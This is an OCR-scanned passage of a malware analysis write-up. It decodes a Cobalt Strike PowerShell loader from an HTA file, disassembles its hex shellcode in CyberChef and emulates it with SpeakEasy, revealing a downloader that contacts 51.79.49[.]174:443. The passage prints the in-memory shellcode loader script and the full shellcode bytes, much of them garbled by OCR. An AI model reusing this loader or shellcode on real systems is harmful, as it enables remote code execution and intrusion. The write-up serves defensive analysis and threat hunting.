There are a few small things at the bottom of the script but these aren't as important.
The script sleeps for 60 seconds and appears to attempt to switch to a 64 bit version of
Powershell if the initial script fails.

For now, let's go on the assumption that the hex bytes contain something that is going to be
executed.

Decoding The Hex Bytes Using CyberChef

To analyse the hex bytes, we can copy them out and try to decode them using CyberChef.

We can do that by copying out the following bytes and moving them to CyberChef.
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https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc?ref=embee-research.ghost.io
https://www.tutorialspoint.com/c_standard_library/c_function_memset.htm?ref=embee-research.ghost.io
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread?ref=embee-research.ghost.io

E=frew 1 B| h )

$MPm = '$MP = ''[DllImport ("kernel32.d1l1l")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect); [DllImport ("kernel32.d1l1l")]public static extern IntPtr CreateThread(IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr

1pThreadId); [D11Import ("msvcrt.dl1l") Jpublic static extern IntPtr memset (IntPtr dest, uint src, uint count);'';$gL = Add-Type
-memberDefinition $MP -Name "Win32" -namespace Win32Functions -passthru; [Byte[]]; [Byte[]]$aN =

;$0d = 0x1000;if ($aN.Length -gt 0x1000) {$Ud =
$aN.Length}; $SmM=$gL: :VirtualAlloc (0, 0x1000, $Ud, 0x40) ; for ($Bw=0;$Bw -le ($aN.Length-1);$Bw++)
{$gL: :memset ([IntPtr] ($mM.ToInt32 () +$Bw), $aN[$Bw], 1) };$gL::CreateThread(0,0,$mM,0,0,0);for (;){Start-Sleep 60};';$cF = [
System.Convert] : : ToBase64String ([System. Text.Encoding] : :Unicode.GetBytes ($MPm) ) ;$pg = "-ec ";if ([IntPtr]::Size -eq 0){$Jr =
$env:SystemRoot + "\syswow64\WindowsPowerShell\vl.O\powershell";iex "& $Jr $pg $cF"}else{;iex "& powershell $pg S$cF";}

Once copied, the bytes can be decoded with a simple "from hex" operation. In this case the
commas , and 0x were automatically recognized.

Recipe Bl E nput + O3 8 =
F Hex ® n exfc,oxe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,8x52,0x38,0x8b,0x52,08x0cC,8x8b,0x52,0x14,0x8b

,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xC0,Bxac,0x3c,0x61,0x7c,@x02,0x2C,0x20,0xCcl,0xcf,8x0d,0x01,0xC
Delimiter 7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3C,0x01,0xd0,Bx8b,0x40,0X78,0x85,8xC0,0x74,0x4a,0x01,0xd0, 0x

Auto 50,0x8b,08x48,0x18,0x8b,0x58,08x20,0x01,0xd3,0xe3,0x3c,8x49,0x8b,0x34,0x8b,8x01,0xd6,0x31,0xff,8x31,08xCO,OXac,0
xcl,0xcf,exed,oxo1,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0X75,0xe2,0x58,0x8b,0Xx58,0x24 ,0x01,
@xd3,0ex66,0x8b,0x8c,8x4b,8x8b,0x58,0x1c,0x01,0xd3,0x8b,0x084,0x8b,8x01,0xd8,0Xx89,0x44,0x24,0x24,0X5b,0Xx5b,0x61
,0x59,0x5a,08x51,0xff,0xe0,0x58,0x5F,0x5a,0x8b,0x12,08xeb,0x86,0x5d,0x68 ,8x33,0x32,0%x00,0x00,0x68,0x77,0x73,08X3
2,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,08x01,0x00,0x00,0x29,0xc4,8x54,0X50,0x68,0x29,8x80,0x
6b,0x00,08xff,0xd5,0x50,0x50,08x50,0x50,0x48,0x50,0x40,0x50,0x68,0xea,0x0f,8xdf,0xed, Oxff,0xd5,0x97,08x6a,0%05,0
Xx68,0x33,0x4f,0x31,0xae,8x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68 ,0x99,0xa5,0x74,0x61,0xff,
@xd5,0ex85,0xc0,0x74,0x0c,8xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,08xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x84,0x56
,0x57,0x68,0x02,0xd9,0xc8,0x5f,8xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,8x10,0x00,0Xx00,0x56 ,0x6a,0x00,0Xx68,8X5
8,0xa4,08x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,08x56,0x53,0x57,0x68,0x02,0xd9,0xCc8,8x5F,0xff,0xd5,0x01,8xC3,0X
29,0xc6,0x85,0xf6,0x75,Oxec,OxXc3

Coamc 1449 = 1 Tr Raw Bytes ¢ LF

Bytes can be decoded with "from i 80 ®
hex". Which should automatically Qutput 0@ o
recognize the *,0x" and decode 8+ NWY +410deROER" ek o (- J8LFIACa| %, ALS4GAERSRY+B<Do@XoALTNDPoHAeX “6ECT 040 0171AAT <(BAUG"}; FSUAXe
accordlngly X$'40F o KeX" 500 e DeD$S[ [aYZQYAX_Z+"E0 Th32% hhws2_ThLw&"§0, « %" )ATPh) «k"jOPPPP@P@Phé&:Rayd« j*h301®h" "» +23"Vih
e¥tayOeAt yN=uihdu¢Vyditj VWhUE_j0«6j@h% %%V uhXHSay0eS7  VSWh UE_jO"A)&e5uih

We can also see that the although the content was "decoded", it still doesn't look good. It
looks like a blob of junk that failed to decode.
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Last DUIa: / MONTNS ago - VErsION 1V IS Nere! Keaa anout e New Teatures nere UpUONSs & ADOUL/ SUPPOTt g

Recipe Bl E  nput + 03w =
F H Qn oxfc,exe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,8x52,0x0C,0Xx8b,0x52,0x14,0X8b
rom Hex ,0x72,0x28,0x0f, 0xb7,0x4a, 0x26,0x31, OxFf, OX31,0XC0, @xac, Ox3c, @x61,0x7c, 0x82, Ox2C, 8x20, 0xc1, OxCF, 8x0d, Bx81, BXC
Delimiter 7,0exe2,0xf0@,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3C,0x01,0xd8,0Xx8b,0x40,0x78,0x85,0XC0,0X74,08x4a,0x01,0Xd0, OX
Auto 50,0x8b,0x48, 0x18,0x8b, BX58,0x20, 8x01,0xd3, Bxe3,OX3C, BX49, Ox8b, BX34, 0x8b, 8X01, 0xd6, BX31, OXFF, BX31,0XC, BXac, @

xcl,0xcf,exed,oxe1,0xc7,8x38,0xed,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,8x24,0x75,0xe2,8x58,0x8b,0Xx58,0x24,0x01,
oxd3,08x66,0x8b,0x8c,@x4b,8x8b,0x58,0x1c,@x01,0xd3,0x8b,0x04,0x8b,0x01,0Xxd0,0X89,0x44,0X24,0X24,0Xx5b,8x5b,0X61
,0x59,0x5a,0x51,8xff,0xed,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0X00,0x68,0x77,0X73,0X3
2,0ex5f,0x54,0x68,08x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0Xx00,0x00,08x29,0xCc4,0Xx54,0x50,08x68,0x29,0X80,0X
6b,0x00,8xff,8xd5,0x50,0x50,08x50,0x50,0x48,0x50,08x40,0x50,0x68,0xea, 0x0f,0xdf,0xe0, 0xff,8xd5,0x97,0x6a,0x05,0
Xx68,0x33,08x4f,0x31,0xae,Bx68,0x02,0x00,0x081,0xbb,8x89,0xe6,0x6a,0x10,0x56,0x57,0x68,08x99,0xa5,0x74,0x61,0xff,
oxd5,0ex85,0xc@,0x74,0xec,dxff,0x4e,0x08,0x75,0xec,0x68,0xF0,0xb5,0xa2,0x56,0xff,8xd5,0x6a,0x00,0x6a,8x04,0X56
,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0Xx00,0x00,0x56 ,0Xx6a,0Xx00,0X68,0xX5
8,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5F,0xff,8xd5,0x01,0xC3,0X
29,0xc6,0x85,0xf6,0x75,0xec,dxc3

mec 1449 = 1 Tr Raw Bytes ¢ LF

Qutput RO m:n:

Thls_doesnt look nice, _S'O we need to i %" ¢410deROeR" R o (% - I&1Y1A-<a |, AL“*CA8RWeR *B< De@XsAtIDPeH X “03<Ie4e"01y1A-AL*C8aUS"}o; }$uaXe
validate and test that it's shellcode X$4GF o KX 00" 0 DeDS$ [ [aVZQYEX_Zo'%E e Tn32 % hws2_ThLu'FO, « 4 )ATPh) ek JOPPPP@P@PHE*RaFGe I5h3018h" s ef Vit
e¥tayOeAt yNsuihdu¢Vyd % “VWh UE_j0e63@h% Vi uhXHSa70e S UWVSWhUE_jO"A)A+b6uif

Validating ShellCode With CyberChef

At this point, we need to validate our assumption that the decoded content is shellcode. At
first glance it looks like a blob of junk.

One common way is to look for plaintext values (ip's, api names) inside of shellcode,
but this won't help us here. We'll need to do additional analysis

Output B0Dm::

ige %" +410d*RO*R" «Ror (- I&LF1A-<a|™, AL%“CASRWeR"*+B<De@x*AtIDPeHeX “08<I*4e01y1A-ATI«"C8aub"}¢; }SudXe.
X$eOF e vKeX o0 DeDSE[ [2aYZQYAX_ZoEs |h32V hhws2_ThLw&™ D, « %" )ATPh) e k" JOPPPP@P@Ph&* RAFD e j*:h301®h™ 5 s2j " ViWh
o¥tajOeAt N=uihdudVvidj*j=Viwh*UE_ii0e6j@h" " V" hXHSaj0e S VSWhUE_yd™A)EeSuil

Using CyberChef, we can validate our theory that the content is shellcode by attempting to
disassemble the bytes.

To do this, we need to convert the values to hex and then use the Disassemble x86
operation of CyberChef.

7/10


https://www.csnp.org/post/cyberchef-data-decoding-made-easy?ref=embee-research.ghost.io

Recipe oms Input + O3 E =
T Qn 8b,0x72,0x28,0x0f,8xb7,0x4a,0x26,0x31,0xff,0x31,0xC0,08xac,0x3c,Bx61,0x7c,Bx02,0x2C,0x%20,0xcl,0xcf,Bx0d, 0x01 "
,0xc7,0xe2,0xf0,08x52,0x57,0x8b,0x52,0x10,08x8b,0x42,08x3C,0x01,0xd0,0x8b,0x40,8x78,0x85,08xCO,0x74,0x4a,0x01,0
Delimiter xde,ex5e,0x8b,0x48,0x18,0x8b,8x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,08x8b,0x01,0xd6,0x31,0xff,8x31,0XC
Auto 0,0xac,@xcl,excf,0xed,8x01,0xc7,8x38,0xe0,08x75,0xf4,0x03,0x7d,0xF8,8x3b,0x7d,8x24,0X75,0xe2,0X58,0x8b,0X58,
©x24,0x01,0xd3,0x66,0x8b,08x0c,0x4b,0x8b,0x58,0x1c,8x01,0xd3,8x8b,0Xx04,0x8b,0x01,0xd0,0x89,0Xx44,0x24 ,0%24,0X
5b,@x5b,0x61,08x59,0x5a,08x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0Xx00,0x00, 0X68
To Hex ©n ,0x77,0x73,0x32,0x5F,0x54,0x68,0x4c, 0x77,0x26,0x07,0xFf, 8xd5,0xb8, 8x98, 0x01,8X08 , 0X80, 8X29, OXC4,BX54,0X50, 8
x68,0x29,0x80,0x6b,0x08,0xff,8xd5,0x50,08x50,0x50,0x50,0x40,0x50,0x40,0x50,08x68,0xea,0x0f ,0xdf,0xe0,0xff,0xd
Delimiter Bytes per line . 5,08x97,0x6a,0x05,0x68,0x33,08x4f,0x31,0xae,0x68,0x02,0x00,0x01,8xbb,0x89,08xe6,0x6a,0x10,0x56,0x57,0x68,0Xx99,
Space 0 v exa5,8x74,0x61,0xff,8xdS,0x85,0xc0,0x74,0x0c,0xff,Oxde,0x08,0x75,0xeC,Ox68,0xF0,0xb5,0xa2,0x56 ,0xff,0xd5,BX
6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,08xd9, Oxc8,0x5f, 0xff,0xd5, 8x8b,0x36,0x6a,0x40,0x68,0X00,0x10,0X00, OX00
DI Reee MBI NES O n ,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,08xff,0xd5,8x93,0x53,0x6a,0x00,0x56,8x53,0x57,0x68,0x082,0xd9,0xC8,0
x5f,0xff,0xd5,0x01,0xc3,0x29,8xc6,0x85,08xf6,0x75,08xec,0xc3 v
Bit mode Compatibility Code Segment (CS) s 1449 = 1 T _Raw Butes & LF
32 Full x86 architec... 16 <
Output B rD m o
Offset (IP)
0 3 Show instruction hex 00000000 FC cLDe p
00000001 E889000000 CALL -FFFFFF71%
00000006 60 PUSHA<
Show instruction position 00000007 89ES MOV EBP,ESP%
00000009 31D2 XOR EDX, EDX«
648B5230 MOV EDX,DWORD PTR FS:[EDX+30]%
©0000eOF 8B520C MOV EDX,DWORD PTR [EDX+@C]<
00000012 8B5214 MOV EDX,DWORD PTR [EDX+14]%
00000015 8B7228 MOV ESI,DWORD PTR [EDX+28]%
00000018 OFB74A26 MOVZX ECX,WORD PTR [EDX+26]<%
- - B 0000001C 31FF XOR EDI,EDIw
Disassembled shellcode viewed in CyberChef. 0000001E 31C6 XOR EAX, EAXS
00000020 AC LODS AL,BYTE PTR [ESI]<«
00000021 3C61 CMP AL,61%
00000023 7C02 JL 000000827
00000025 2C20 SUB AL, 20+
00000027 C1CFED ROR EDI,@D<«
- v ©000002A 01C7 ADD EDI,EAX<«
STEP ‘ BAKE! Autgake 0000002C E2FQ LooP ea;aemsa 4
296 2 D21 T S B ot

Here we can see that the bytes have successfully disassembled, we can primarily tell this
since there are.

* no glaring red sections indicating a failed disassembly
e CLD - (Clear Direction) - Which is common first command executed by shellcode.

There are some other indicators like an early call operation and a ror ©D operation which
are common to Cobalt Strike shellcode. These are patterns that are strange but become
easily recognizable after you've seen a few shellcode examples.

For now, we can assume with higher confidence that the data is shellcode and do further
validation by attempting to execute it.

At this point you could continue to analyse the disassembled bytes for signs of
something "interesting", but this is generally difficult and requires some familiarity with
x86 instructions. It is often much easier to try and execute the code. Especially for
larger shellcode samples.

Validating ShellCode By Executing Inside an Emulator

To further validate that the data is shellcode and attempt to determine it's functionality, we
can save it to a file and try to run it inside an emulator or debugger.

In this case, | will be using the SpeakEasy tool from FireEye. You can read about SpeakEasy
here and Download it from GitHub
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https://c9x.me/x86/html/file_module_x86_id_29.html?ref=embee-research.ghost.io
https://www.mandiant.com/resources/blog/emulation-of-malicious-shellcode-with-speakeasy?ref=embee-research.ghost.io
https://www.mandiant.com/resources/blog/emulation-of-malicious-shellcode-with-speakeasy?ref=embee-research.ghost.io
https://github.com/mandiant/speakeasy?ref=embee-research.ghost.io

Before running SpeakEasy, we can first download the raw bytes of our suspected shellcode.
(make sure to remove the to hex and disassemble x86 operations)

Recipe om 3 Input + O3 8=

8b,0x72,0x28,08x0f,0xb7,0x4a,8x26,0x31, 0xff,8x31,0xc0, Oxac,8x3c, Ox61,0x7c,8x82,0x2C, 0x28,08xc1, dxcf, 0x0d, 8x01
,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3C,8x01,0xd8,0x8b,0x40,0x78,0x85,0xCO,8x74,0x4a,0x01,0
xd@,8x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,8xe3,0x3c,0x49,8x8b,0x34,0x8b,0x81,0xd6, 0x31,8xFf,0x31,OXC
8,0xac,0xcl,excf,8xed,8x01,0xc7,0x38,0xe0,0x75,08xf4,0x03,0x7d,0xf8,0x3b,0x7d,8x24,8x75,0xe2,0X58,0X8b,0X58,
©x24,0x01,0xd3,0x66,8x8b,0x0c,0x4b,8x8b,0x58,0x1c,8x81,0xd3,0x8b,8x04,0x8b,0x01,0xd0,0x89, Ox44,0x24,0x24 , OX
5b,@x5b,0x61,0x59,0x5a,8x51,0xff,0xed,0x58,0x5F,0x5a,0x8b,8x12,08xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0X68
,0x77,0x73,0x32,0x5F,0x54,0x68, Ox4c,0x77,0x26,0x87,, @xFf,8xd5,8xb8, X908, 0x01, 0x08 , 0X08 , 0x29 , X4, OX54 ,0X50, 0
x68,0x29,0x80,0x6b,08x00,0xff,0xd5,0x50,0x50,0x50,08x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f ,0xdf,0xed, Oxff,0xd
5,8x97,08x6a,0x05,0x68,0x33,0x4f,08x31,0xae,0x68,0x02,0x00,0x01,0xbb,8x89,08xe6,0x6a,0x10,0x56,0x57,0x68,08x99,
@xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,dxff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x
6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9, 0xc8,0x5F, 0xff,8xd5,8x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00, 0X00
,8X56,0x6a,0x08,0x68,0x58,0xa4,8x53,0xe5, Oxff,0xd5,0x93,0x53,8x6a,0x00, 0x56,8x53,0x57,0x68,0x082,0xd9,0xc8,8
Saving the raw bytes to a file so we X5f,8xff,0xd5,8x01,8xc3,0x29,8xC6, 085, 8xF6, 0x75,0xec , 8xc3 .

can use an emulator me 1449 = 1 Tr Raw Bytes ¢ LF

M m::

@e™ " 0310deROeR" eR%or (" - I&1Y1A-<a |, AI+“CABRWeR" B De@xeAtIDPeHYeX “03<I+4+%01y1A-AI"CBAUG"}6; }SuaXe
Qe e’DeD$$ [ [aYZQYEX_Z+%E+ ]h32% khws2_ThLw&" Y0, « =\ )ATPh) ek yOPPPP@P@Ph&*:Rajde j*h301®h™ " »» ez "\ ViWh
e¥tayBeAt YN uihdp¢vydihj Vivh“UE_jd+6j@h% Vi hXxnsayde S VsWh UE_yidA)£+0uil

~

~
From Hex

Delimiter

Auto

You can name the file anything you like, | have named it shellcode.bin.

Name Date modified Type

W 2c683d112d528b63dfaa7ee0140eebc4960fedf..  20/10/2023 3:40 AM HTML Application
2c683d112d528b63dfaa7ee0140eebcd960fedf.. 19 0 ) PM 7zFM.exe file
B shelicode.bin 0/2023 11:45 PM BIN File

From here, a command prompt can be opened at the SpeakEasy tool executed with the
following commands.

e -t - Target file to emulate

e -r - Tells SpeakEasy that the file is shellcode

e -a x86 - Tells SpeakEasy to assume x86 instructions. (This will almost always be x86
or x64. If either fails, try the other one)

FLARE Thu 19/16/20623 23:46:27.91
C:\Users\Lenny\Desktop\malware\cobalt_hta>speakeasy -t shellcode.bin -r -a x86_

Hitting enter, SpeakEasy is successfully able to emulate the code. Here we can see that

numerous api calls were made in an attempt to download something from
51.79.49[.]174:443
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FLARE Thu 19/10/2023 23:46:05.06
C:\Users\Lenny\Desktop\malware\cobalt_hta>speakeasy -t shellcode.bin -r -a x86

* exec: shellcode

@x10a2: 'kernel32.LoadlLibraryA("ws2_32")' -> @x78ceeeee

©x10b2: 'ws2_32.WSAStartup(ex19@, ex12e3ed4c)' -> oxe

©xlecl: "ws2_32.WSASocketA(" NET eSO REAM", ©x0, exe, oxe, oxe)' -> ex4
exledb: 'ws2_32.connect(ex4 .49, ", ex1e)"' -> exe

ox1ef8: 'ws2_32.recv(ex4, exl. d, € -> ex4

‘@x110b: 'kernel32.VirtualAlloc(ex®, ©x8, ©x1€00, "PAGE_EXECUTE_READWRITE")' -> @x50000
©x1119: 'ws2_32.recv(Ox4, ©x50000, Ox8, Ox0)' -> Ox8

©x50008: Unhandled interrupt: intnum=ex3

ex5e008: shellcode: Caught error: unhandled_interrupt

* Finished emulating

FLARE Thu 19/10/2023 23:46:27.91
C:\Users\Lenny\Desktop\malware\cobalt_hta>

Conclusion

At this point, it would be safe to assume that the primary purpose of the entire script and
shellcode is to act as a downloader.

At this point, | would investigate connections to that IP address and identify if anything was
successfully downloaded and executed. You could also investigate any recent malware alerts
for Cobalt Strike, or perform some hunting on the initial execution of .hta (mshta.exe parent
process) to powershell.exe (child process).
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https://www.mandiant.com/resources/blog/defining-cobalt-strike-components?ref=embee-research.ghost.io

